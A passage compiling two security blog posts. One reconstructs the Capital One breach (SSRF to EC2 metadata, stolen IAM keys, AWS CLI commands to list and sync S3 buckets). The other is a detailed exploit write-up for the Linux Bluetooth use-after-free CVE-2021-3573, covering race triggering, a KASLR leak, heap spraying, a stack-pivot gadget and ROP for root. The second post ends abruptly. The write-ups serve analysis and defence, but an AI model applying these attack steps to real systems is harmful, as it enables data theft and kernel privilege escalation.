  • There are a ton of tools that security folks have written on GitHub and a lot of work is being done in the attack and exploitation areas
  • The key to learning to attack is to Setup > Break > Learn > Repeat

If you want us to take a look at your cloud hosted web applications or your cloud architecture to simulate attacks and identify weaknesses before the bad guys do, or if you want run one of our training programs for your teams, get in touch with us.

An SSRF, privileged AWS keys and the Capital One breach

An SSRF, privileged AWS keys and the Capital One breach

Original text by Riyaz Walikar

This post attempts to explain the technical side of how the Capital One breach occurred, the impact of the breach and what you can do as a user of cloud services to prevent this from happening to you.

Updated 3rd December 2019 — Please note: AWS released an additional security defences against the attack mentioned in this blog post. While the methods described here will work with the legacy version of Instance Meta Data Service (IMDSv1), they will be thwarted by IMDSv2. Read our extensive blog post on how to utilise AWS EC2 IMDSv2 and add the additional defences for your EC2 machines


On July 29th, Capital One Financial Corporation announced that they had determined there was unauthorised access by an outside individual who obtained certain types of personal information relating to people who had applied for its credit card products and to Capital One credit card customers.

This event affected approximately 100 million individuals in the United States and approximately 6 million in Canada. The hacker gained access to data that included approximately 140,000 Social Security numbers and approximately 80,000 bank account numbers on U.S. consumers, and roughly 1 million Social Insurance Numbers (SINs) for Canadian credit card customers.

What happened from a technical viewpoint

The following is reconstruction of the attack and technical walk-through of what happened as uncovered in the investigation of this attack. A copy of the complaint can be found at


  • On July 19, 2019 a security researcher got in touch with Capital One via it’s responsible disclosure email address notifying them that they had discovered a public Github gist which contained the description of the attack along with the target that was attacked, the commands that were run and the list of AWS S3 buckets that contained the data that was stolen
  • The attack to obtain the keys to gain access to S3 and the downloading of the data happened on March 22 and 23, 2019

Technical analysis

The attacker gained access to a set of AWS access keys by accessing the AWS EC2 metadata service via a SSRF vulnerability. There is evidence that the application that was targeted was behind a Web Application Firewall (ModSecurity) but either a bypass was used or the WAF was not configured to block attacks (logging mode). The keys essentially allowed the attacker to list and sync the S3 buckets to a local disk thereby providing access to all the data contained in them.

In the security industry, amongst security researchers and bug bounty hunters, SSRF or Server Side Request Forgery is an extremely lucrative bug, especially when the infrastructure being targeted is on the cloud. SSRF occurs when a user supplied input is used to make a network/HTTP request to the user supplied input. So basically for an application or a service, if it accepts a URL, IP address or hostname from where it is supposed to go fetch data from, and you control this input, this could potentially be vulnerable to SSRF. Hackerone has a nice article to explain this in more detail.

When a web application hosted on a cloud VM instance (true for AWS, GCP, Azure, DigitalOcean etc.) becomes vulnerable to SSRF, it becomes possible to access an endpoint accessible only from the machine itself, called the Metadata endpoint. For AWS, no additional headers are required when accessing this endpoint and a request can be made to (always the same) endpoint of to obtain metadata regarding the instance itself. This endpoint is accessible only from the machine itself. So you would need to be inside a shell environment on the machine to be run a curl or a wget for example to access the metadata endpoint. This is true for a service or a program running on the machine as well. Hence an SSRF allows an external attacker to access the endpoint because the request originates from the machine (server side) but sends the output to the attacker’s browser/client.

You can read more about the Metadata Service for AWS here —

Interestingly, an important piece of information that can be pulled from the instance metadata service are credentials for a IAM Role that may have been attached to the instance. This is available at 

<a href="" target="_blank" rel="noreferrer noopener"></a>

It appears that this role had excessive privileges allowing the listing and access to S3 storage. This privilege was used to list the buckets and download them locally. The attacker seems to have used TOR to hide their real IP when performing this action.

From the complaint filed with the Department of Justice and the attackers Slack channel and Twitter, it is evident that the following was the sequence of events

  1. Accessing the credentials using the SSRF bug
  • The attacker seems to have accessed the AWS credentials for a role called 
     via the endpoint
     using the SSRF bug.

For example, if the vulnerable application was at
 and the SSRF existed in a GET variable called 
, then the exploitation was possible as


Given that the role name has the string 

 in it, it is speculated that the exploitation was not as straightforward as the URL above but a bypass was used for the WAF (ModSecurity) in this case. Some common bypasses are available at Side Request Forgery

A sample output of what is visible when the AWS credentials for an attached IAM role are requested via the instance metadata is shown below

ubuntu@ip-xxx-xx-xx-x:~$ curl
  "Code" : "Success",
  "LastUpdated" : "2019-08-03T20:42:03Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
  "SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
  "Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
  "Expiration" : "2019-08-04T03:16:50Z"

2. Adding the credentials to the local AWS CLI

  • Very likely the next step the attacker took was to add the discovered credentials to their local AWS CLI using the 
    aws configure
     command. A key difference to the credentials when obtained for a IAM User using IAM and a role when accessed through the metadata instance is the presence of a token. This token cannot be added using the 
    aws configure
     command directly but needs to be added to the environment variable or the 
     file as 
    using a text editor.

An example 

 file with a AWS CLI profile called 
looks like this

aws_access_key_id = ASIA5A6IYGGDLBWIFH5UQ
aws_secret_access_key = sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR
aws_session_token = AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=

3. Gaining access to the data in S3

Lastly, once the credentials are added, you can see if you are setup properly by making a call to AWS STS to check your identity. The command to do this is 

aws sts get-caller-identity --profile example
. The output of this command shows the User Id, account number and the ARN (Amazon Resource Number). A sample output is shown below

"UserId": "AROA5A6IYBDLAKYYJCQQQ:i-07160cbf7c64abcdef9",
"Account": "0070074815830",
"Arn": "arn:aws:sts::0070074815830:assumed-role/ISRM-WAF-Role/i-07160cbf7c64abcdef9"

This command is akin to the 

 command for pentesters to figure who they are on a system they have compromised (who do these AWS keys belong to).

Once the AWS CLI is setup with the stolen keys and token, the attacker ran the command to list buckets available in the account. For a properly restricted IAM role, this command should have failed, but in this case, it appears that the IAM Role had permissions it should not have had

aws s3 ls --profile example

This lists the names of all the S3 buckets in the account that the IAM Role can see (which in this case was all of them). The attacker then went ahead and ran the sync command to download the contents of over 700 S3 buckets locally. For example, a S3 sync command that the attacker ran would have looked like this

aws s3 sync s3://bucket-credit-card-numbers /home/attacker/localstash/capitalone/ --profile example

Points of failure

There were multiple mis-configurations and lapses in the configuration and programming that led to a successful breach. The ones that are evident from what’s available now in various records are

  1. An application code review / vulnerability assessment should have caught the SSRF bug in the web application. One of the more common weaknesses we discover in web applications running on the cloud is the application’s trust on user supplied data to make requests from the server. Sometimes the application accepts a file name as user input but providing a complete URL causes a web request to be triggered instead of a local file being read. In other cases, a bug like command injection allows you to terminate the current command and execute a curl or wget from the server. In any case, if user input is going to be used on the server without making sure it is safe to be used in the context in which the user data is processed, a vulnerability will occur.
  2. Providing permissions to the 
     that were probably not needed. When the credentials for the IAM Role were leaked, unless required by the application or the AWS instance to work with S3 buckets, S3 related permissions should not have been provided to the IAM Role. A key finding that we encounter when auditing AWS cloud configurations for our customers is with misconfigured roles and permissions. A lot of developers and Ops, to make things work, still rely on the dangerous 
    "Effect": "Allow", "Action": "*","Resource": "*"
    policy effectively giving the IAM Role AWS Administrative rights.
  3. Data storage in AWS S3 was not encrypted. This probably would not have made a lot of difference, especially since the IAM Role potentially had administrative permissions. The IAM role would very likely allow the attacker to download an SSE-KMS-encrypted object from the S3 buckets as the role would have the neccessary permission to decrypt the AWS KMS key.
  4. Lastly, the absence of monitoring for IAM and AWS STS API Calls with AWS CloudTrail and monitoring for S3 read (or writes) given the sensitive nature of data therein. Ironically, Capital One is the creator of a tool called Cloud Custodian that can be (and is actively used by a lot of folk on the Internet) used to manage AWS, Azure, and GCP environments by ensuring real time compliance to security policies (like encryption and access requirements), tag policies, and cost management via garbage collection of unused resources and off-hours resource management.

Final thoughts to Note — This is not a new bug

This attack was particularly interesting as we woke up to the news because we at Appsecco have been teaching security testing teams and penetration testers on how to discover, identify and exploit SSRF for over half a decade in our Xtreme Web Hacking class. For the last 3 years we have covered a variant of this in our “Breaking and Owning Applications and Servers on AWS and Azure class (discover and exploit) and in our Automated Defence training that we run at BlackHat (how to automatically defend against this vulnerability in AWS)”.

The automated defence scenario we cover in our training at Blackhat that defends against the same flaw and exploitation that happened with Capital One

Given the complexity of cloud services and the ease at which mis-configurations can occur because systems need to become usable and functional as soon as possible, it is important to approach cloud infrastructure with a defence in depth approach, especially when dealing with data whose unauthorised access can lead to legal issues and compliance failures.

If you want us to take a look at your cloud hosted web applications or your cloud architecture to simulate attacks and identify weaknesses before the bad guys do, get in touch with us.


Blue Klotski (CVE-2021-3573) and the story for fixing

Blue Klotski (CVE-2021-3573) and the story for fixing

Original text by Monte Cristo

Recently me and my friends, as Greg KH said, are hammering on the bluetooth stack of the Linux kernel. And luckily, we found some pretty good vulnerability bugs that can lead to code execution.

In this post, I will introduce one typical one: the Blue Klotski (CVE-2021-3573).

Brief Introduction

The CVE-2021-3573 is one UAF vulnerability caused by race condition when a BT controller is removed. With the CAP_NET_ADMIN privilege, an local attacker can emulate a fake controller from user space and detach it to trigger the UAF. The attacker can further escalate the privilege by carefully spray the freed objects to achieve arbitrary code execution.

Bug Details

Before we take a look at these two threads (the USING thread and the FREEING thread), let’s audit the 


Note: the code I refer will take v5.12.0 as the example.

static int hci_sock_bind(struct socket *sock, struct sockaddr *addr,
			 int addr_len)
	switch (haddr.hci_channel) {
		if (hci_pi(sk)->hdev) {
			err = -EALREADY;
			goto done;

		if (haddr.hci_dev != HCI_DEV_NONE) {
			hdev = hci_dev_get(haddr.hci_dev);
			if (!hdev) {
				err = -ENODEV;
				goto done;

        hci_pi(sk)->hdev = hdev;

In short, the 

 function will fetch the hdev based on the user supplied index, and attach it to the sockets with 
hci_pi(sk)-&gt;hdev = hdev
. For now, this HCI socket becomes a “bound” socket because it has some connection with the BT controller.

Moreoever, the 

 function is used to increase the 
 of the 
, keep this in memory because we will use it later.

USING routine

Once the socket is bound to one controller, the function 

 is allowed.

/* Ioctls that require bound socket */
static int hci_sock_bound_ioctl(struct sock *sk, unsigned int cmd,
				unsigned long arg)
	struct hci_dev *hdev = hci_pi(sk)->hdev;

	if (!hdev)
		return -EBADFD;
	switch (cmd) {

		return hci_get_conn_info(hdev, (void __user *)arg);

		return hci_get_auth_info(hdev, (void __user *)arg);

		if (!capable(CAP_NET_ADMIN))
			return -EPERM;
		return hci_sock_blacklist_add(hdev, (void __user *)arg);

		if (!capable(CAP_NET_ADMIN))
			return -EPERM;
		return hci_sock_blacklist_del(hdev, (void __user *)arg);

There are four commands offered in this function, all these commands have their utitily function to further operate on the linked list in 

 object. The very check in top of the 
 will make sure only the bound sockets will be manipulated.

We can see on of these commands, like the 


static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
	bdaddr_t bdaddr;
	int err;

	if (copy_from_user(&bdaddr, arg, sizeof(bdaddr)))
		return -EFAULT;


	err = hci_bdaddr_list_add(&hdev->blacklist, &bdaddr, BDADDR_BREDR);


	return err;

It’s a quite simple function: gets the argument from the user pointer, obtains the lock, operates the list and then releases the lock. In short, this function will finally change the hdev->blacklist and add one allocated BT address on it.

FREEING routine

Normally, the bound socket is expected to drop the bind when the socket is closed.

static int hci_sock_release(struct socket *sock)
	hdev = hci_pi(sk)->hdev;
	if (hdev) {

As you can see, this is highly symmetry to the 

. Just looks quite safe.

However, is this the only place the socket drop the refcnt? The answer is NO. We know that the bound socket means somewhat a connection between the sock and the hardware controller. What if this controller is unplugged? The sock must be aware of this event.

The relevant function is 

. When the controller is getting removed, the kernel will awake the 
 function, which will then call 

void hci_sock_dev_event(struct hci_dev *hdev, int event)
	if (event == HCI_DEV_UNREG) {
		struct sock *sk;

		/* Detach sockets from device */
		sk_for_each(sk, &hci_sk_list.head) {
			if (hci_pi(sk)->hdev == hdev) {
				hci_pi(sk)->hdev = NULL; // {1}
				sk->sk_err = EPIPE;
				sk->sk_state = BT_OPEN;

				hci_dev_put(hdev); // {2}

This function will traverse the list of sockets through 

 and find out the sockets that may bound to the unregistering 
. It will then updates the sock (like 
 mark) and drop the refcnt (like 


 object will be ultimately released when the underground driver calls 
, which will drop the last refcnt and later to 

This abnormal 

 refcnt dropping routine is not safe as expected. In fact, it can easily race with the USING routine like below.

hci_sock_bound_ioctl thread    |    hci_unregister_dev thread
if (!hdev)                     |    
    return -EBADFD;            |    
                               |    hci_pi(sk)->hdev = NULL;
                               |    ...
                               |    hci_dev_put(hdev);
                               |    ...
                               |    hci_free_dev(hdev);
// UAF, for example            |
hci_dev_lock(hdev);            |

You can refer to the oss report ( for details like POC and crash log.

The Exploitation

Some readers may begin to complain: race? Hmmmmm… It’s not stable and not interesing.

Well, I have to tell you that this race is an exception, for it can be one hundred percent stably triggered. 🙂

If you read the above kernel code carefully, you will find the trick there.

static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
	bdaddr_t bdaddr;
	int err;

	if (copy_from_user(&bdaddr, arg, sizeof(bdaddr))) // {3}
		return -EFAULT;


 marked code get its content from userspace, which means we can adopt the userfaultfd technique to hang this routine. And we can wake it until the 
 is already freed to cause the UAF.

The race will be like below.

hci_sock_bound_ioctl thread    |    hci_unregister_dev thread
if (!hdev)                     |    
    return -EBADFD;            |    
copy_from_user()               |
____________________________   |
                               |    hci_pi(sk)->hdev = NULL;
                               |    ...
    userfaultfd hang           |    hci_dev_put(hdev);
                               |    ...
                               |    hci_free_dev(hdev);
____________________________   |
// UAF, for example            |
hci_dev_lock(hdev);            |

Therefore, with this stable UAF, let’s write our exploit.

To be honest, this is my first time to write one 0-day exploit. Thankfully, this makes no big difference comparing to a CTF challenge. BTW, the hci_sock_bound_ioctl() has limited operations hence I choose the hci_sock_sendmsg() as the USING routine in my exploits.


The first question is how to bypass the KASLR. I have been blocked there for a while as I wanted to leak some code/data pointers with some known skills. Like the OOB readin bluetooth I have reported to the community.

After some fail attempts, I choose to do the leaking with the Blue Klotski and it turns out to be totally enough. I just have to find some place that may trigger a kernel WARNING and I can get the pointers I wanted from the printed report.

For instance, one NPD in the workqueue functions.

[   17.793908] BUG: kernel NULL pointer dereference, address: 0000000000000000
[   17.794222] #PF: supervisor read access in kernel mode
[   17.794405] #PF: error_code(0x0000) - not-present page
[   17.794637] PGD 0 P4D 0
[   17.794816] Oops: 0000 [#1] SMP NOPTI
[   17.795043] CPU: 0 PID: 119 Comm: exploit Not tainted 5.12.1 #18
[   17.795217] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 04/01/2014
[   17.795543] RIP: 0010:__queue_work+0xb2/0x3b0
[   17.795728] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[   17.796191] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[   17.796329] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[   17.796545] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[   17.796769] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[   17.796926] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[   17.797109] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
[   17.797328] FS:  00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[   17.797541] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   17.797699] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0
[   17.797939] Call Trace:
[   17.798694]  queue_work_on+0x1b/0x30
[   17.798865]  hci_sock_sendmsg+0x3bc/0x960
[   17.798973]  sock_sendmsg+0x56/0x60
[   17.799081]  sock_write_iter+0x92/0xf0
[   17.799170]  do_iter_readv_writev+0x145/0x1c0
[   17.799303]  do_iter_write+0x7b/0x1a0
[   17.799386]  vfs_writev+0x93/0x160
[   17.799527]  ? hci_sock_bind+0xbe/0x650
[   17.799638]  ? __sys_bind+0x8f/0xe0
[   17.799725]  ? do_writev+0x53/0x120
[   17.799804]  do_writev+0x53/0x120
[   17.799882]  do_syscall_64+0x33/0x40
[   17.799969]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   17.800186] RIP: 0033:0x7fa9ee08d35d
[   17.800405] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 ca 26 f9 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 14 00 00 00 0f 05 <48> 3d 008
[   17.800798] RSP: 002b:00007ffe3c870e00 EFLAGS: 00000293 ORIG_RAX: 0000000000000014
[   17.800969] RAX: ffffffffffffffda RBX: 0000556f50a02f30 RCX: 00007fa9ee08d35d
[   17.801118] RDX: 0000000000000003 RSI: 00007ffe3c870ea0 RDI: 0000000000000005
[   17.801267] RBP: 00007ffe3c870ee0 R08: 0000000000000000 R09: 00007fa9edf87700
[   17.801413] R10: 00007fa9edf879d0 R11: 0000000000000293 R12: 0000556f50a00fe0
[   17.801560] R13: 00007ffe3c870ff0 R14: 0000000000000000 R15: 0000000000000000
[   17.801769] Modules linked in:
[   17.801928] CR2: 0000000000000000
[   17.802233] ---[ end trace 2bbc14e693eb3d8f ]---
[   17.802373] RIP: 0010:__queue_work+0xb2/0x3b0
[   17.802492] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[   17.802874] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[   17.803019] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[   17.803166] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[   17.803313] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[   17.803458] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[   17.803605] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
[   17.803753] FS:  00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[   17.803921] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   17.804042] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0

The registers RDI, R11 and R14 seems store some kernel pointers. Taking a look at the, you will find out the R14 is points to the global variable 

. It will help us to calculate the KASLR offset and then bypass the protection.

ffffffff825106a0 R __per_cpu_offset


RIP hijacking

With the KASLR bypassed, the next target is to hijack the control flow. To achieve this, the simplest thing is to compromise a code pointer (see below). That is, we have to spray the kernel heap to overwrite the released 

. Thankfully, it is a piece of cake to spray as the 
 is one 
 object. The big size makes its cache rather stable and I can easily spray the 

struct hci_dev {
	int (*open)(struct hci_dev *hdev);
	int (*close)(struct hci_dev *hdev);
	int (*flush)(struct hci_dev *hdev);
	int (*setup)(struct hci_dev *hdev);
	int (*shutdown)(struct hci_dev *hdev);
	int (*send)(struct hci_dev *hdev, struct sk_buff *skb);
	void (*notify)(struct hci_dev *hdev, unsigned int evt);
	void (*hw_error)(struct hci_dev *hdev, u8 code);
	int (*post_init)(struct hci_dev *hdev);
	int (*set_diag)(struct hci_dev *hdev, bool enable);
	int (*set_bdaddr)(struct hci_dev *hdev, const bdaddr_t *bdaddr);
	void (*cmd_timeout)(struct hci_dev *hdev);
	bool (*prevent_wake)(struct hci_dev *hdev);

Assuming we can overwrite the entire 

 and corrupt the above code pointers, can we achive RIP hijacking? Well. things don’t seem to be so simple and these code pointers are used out of the USING routine.

static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
			    size_t len)
	hdev = hci_pi(sk)->hdev;
	if (!hdev) {
		err = -EBADFD;
		goto done;
	if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
		err = -EFAULT;
		goto drop;

	hci_skb_pkt_type(skb) = skb->data[0];
	skb_pull(skb, 1);

	if (hci_pi(sk)->channel == HCI_CHANNEL_USER) {
	} else if (hci_skb_pkt_type(skb) == HCI_COMMAND_PKT) {
		if (ogf == 0x3f) {
			skb_queue_tail(&hdev->raw_q, skb);
			queue_work(hdev->workqueue, &hdev->tx_work); // {4}
		} else {
			/* Stand-alone HCI commands must be flagged as
			 * single-command requests.
			bt_cb(skb)->hci.req_flags |= HCI_REQ_START;

			skb_queue_tail(&hdev->cmd_q, skb);
			queue_work(hdev->workqueue, &hdev->cmd_work); // {5}
	} else {
		if (!capable(CAP_NET_RAW)) {
			err = -EPERM;
			goto drop;
		skb_queue_tail(&hdev->raw_q, skb);
		queue_work(hdev->workqueue, &hdev->tx_work); // {4}

As you can see, the 

 function doesn’t call any code pointers but only uses some data candidates in 
. We may have to compromise the data in 
 first and figure out how to affect the control flow.

Which candidate can we exploit? If you are familar with the workqueue in kernel, you may find the answer. Yes, the 

. The 
 function, as the handler of 
 syscall, will allocate the 
 and queue it to corresponding 
queues. It will then queue relevant 
 to issue these 

The layout of the 

 is quite juicy.

typedef void (*work_func_t)(struct work_struct *work);

struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
	struct lockdep_map lockdep_map;


 is a code pointer. As we can overwrite the entire 
, we are able to compomise the 
 in either 
 to allow control flow being controllered.

But I failed again.

This is because the 

 is already destoryed is the 
 function. The 
 queued into this workqueue will not be scheduled at all.

Wait? didn’t I say I can compromise the entire 

? Why just I also compromise the 
 to allow the planed attack?

It sounds like a plan but not an easy one for I have to leak the adress of one valid 

. This is not like the KASLR offset leak as the 
 is allocated in the kernel slub caches. I need strong primitive to leak the heap layout and possibly find one living 

After some fail attempts again, I decide to change my mind. I can use the original 

 pointer to fulfill my want. Although the object it points to is currently destroyed, but we can “spray” the heap to put a new one there. This is the second spray in the exploit and interesting enough, this spray is not aim to overwrite data but provide qualified data.

The spray for 

 (kmalloc-512 object) is much harder than the 
because there are some other places keeping allocate this size of objects. To achieve the spray I play some sequence tricks and you can refer to the exploits for detail.

Well done, when the 

 pointer is pointing to one living 
, the 
queue_work(hdev-&gt;workqueue, ...)
 is assumed to be completed successfully. A little frustrated thing is that the 
 pointer in 
 is behind the 
 so we still cannot get the RIP for now. (We have to keep the 
 the same)

It’s fine because both the 

 function and the 
 function will call the 
, which will call the 
, the code pointer that we can overwrite.

And I failed here again, the third time.

This is because we cannot easily exploit the time when the queued 

 is being scheduled. As I said before, we cannot overwrite the 
 before the 
 is finished. But we have to overwrite the code pointers before it is used.

====> overwrite the hdev
   | workqueue | ... | rx_work | cmd_work | tx_work | ... | code pointers |

This unpredictable time window makes the expoit rather unstable: I can rarely spray the 

 code pointer at the right time. What should we do? Is there any hope?

Of course it is, when god closes a door, he opens a window there. 🙂

The answer I picked is the 


static void hci_cmd_work(struct work_struct *work)
	struct hci_dev *hdev = container_of(work, struct hci_dev, cmd_work);
		hdev->sent_cmd = skb_clone(skb, GFP_KERNEL);
		if (hdev->sent_cmd) {
			if (test_bit(HCI_RESET, &hdev->flags))
						      HCI_CMD_TIMEOUT); // {6}
		} else {
			skb_queue_head(&hdev->cmd_q, skb);
			queue_work(hdev->workqueue, &hdev->cmd_work);


 marked code starts a delayed work to handle the situation where the sent command is failed to receive proper reply in time. The most important thing here is this 
 is one predicatable time window.

#define HCI_CMD_TIMEOUT		msecs_to_jiffies(2000)	/* 2 seconds */

Takine a further look at the 

 struct, you can find the juicy 

struct delayed_work {
	struct work_struct work;
	struct timer_list timer;

	/* target workqueue and CPU ->timer uses to queue ->work */
	struct workqueue_struct *wq;
	int cpu;

That is to say, we can wait for a predicatable delay and then start the overwriting to compromise the 

 in the 
. This steady time window can boost the success rate of our attack and finally we have our primitive to achieve RIP hijacking.


The ROP story is simpler compared with the above one, but also very interesting. The most interesting part is about the stack pivoting.

/* HCI command timer function */
static void hci_cmd_timeout(struct work_struct *work)
	struct hci_dev *hdev = container_of(work, struct hci_dev,;
	if (hdev->cmd_timeout)

In the very first attempt, I stick into the original delay target function 

 and take 
 as the target code pointer and try to find proper gadgets to pivot the stack to some place I can control. However, almost all pivoting gadgets count on the register rax.

For example, the popular one

0xffffffff81e0103f: mov rsp, rax; push r12; ret;

But the sad thing is the register rax is not controllable in 

 function. (In fact, the indirect call is achieved by 
 hence the rax is stored the gadget address).

This problem also makes me suffer for hours. Thanks to my friend @Nop, we finally find one very great pivoting solution.

   0xffffffff81060a41 <__efi64_thunk+81>:	mov    rsp,QWORD PTR [rsp+0x18]
   0xffffffff81060a46 <__efi64_thunk+86>:	pop    rbx
   0xffffffff81060a47 <__efi64_thunk+87>:	pop    rbp
   0xffffffff81060a48 <__efi64_thunk+88>:	ret

This part of code will update the rsp to the value stored in rsp+0x18. By corrupt the 

 to function 
 and take the 
 as the critical code pointer, the 
 falls within the 
 object I expected.

static void hci_error_reset(struct work_struct *work)
	struct hci_dev *hdev = container_of(work, struct hci_dev, error_reset);

	BT_DBG("%s", hdev->name);

	if (hdev->hw_error)
		hdev->hw_error(hdev, hdev->hw_error_code);
		bt_dev_err(hdev, "hardware error 0x%2.2x", hdev->hw_error_code);

And the remain job is just standard kernel ROP. For demonstration purpose, I choose to corrupt the 

 variable to allow root level arbitary code execution. You can play with this with provided demo.

open source:

Story for patching

How will you guys fix this vulnerability? When I report this CVE, I provide the kernel with below patch.

 net/bluetooth/hci_sock.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c
index 251b9128f530..eed0dd066e12 100644
--- a/net/bluetooth/hci_sock.c
+++ b/net/bluetooth/hci_sock.c
@@ -762,7 +762,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
 		/* Detach sockets from device */
 		sk_for_each(sk, &hci_sk_list.head) {
-			bh_lock_sock_nested(sk);
+			lock_sock(sk);
 			if (hci_pi(sk)->hdev == hdev) {
 				hci_pi(sk)->hdev = NULL;
 				sk->sk_err = EPIPE;
@@ -771,7 +771,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
-			bh_unlock_sock(sk);
+			release_sock(sk);

From my point of view, the root cause of this BUG is that the device detaching routine drop the refcnt of 

 without giving concern that other routine may still use it (

Hence, as the USING routine will use 

 to defend against the race, I replace the 
 too to serialize these affiars. With this fix, my POC won’t cause any KASan report and I think this is a very proper patch.

But I failed, one more time.

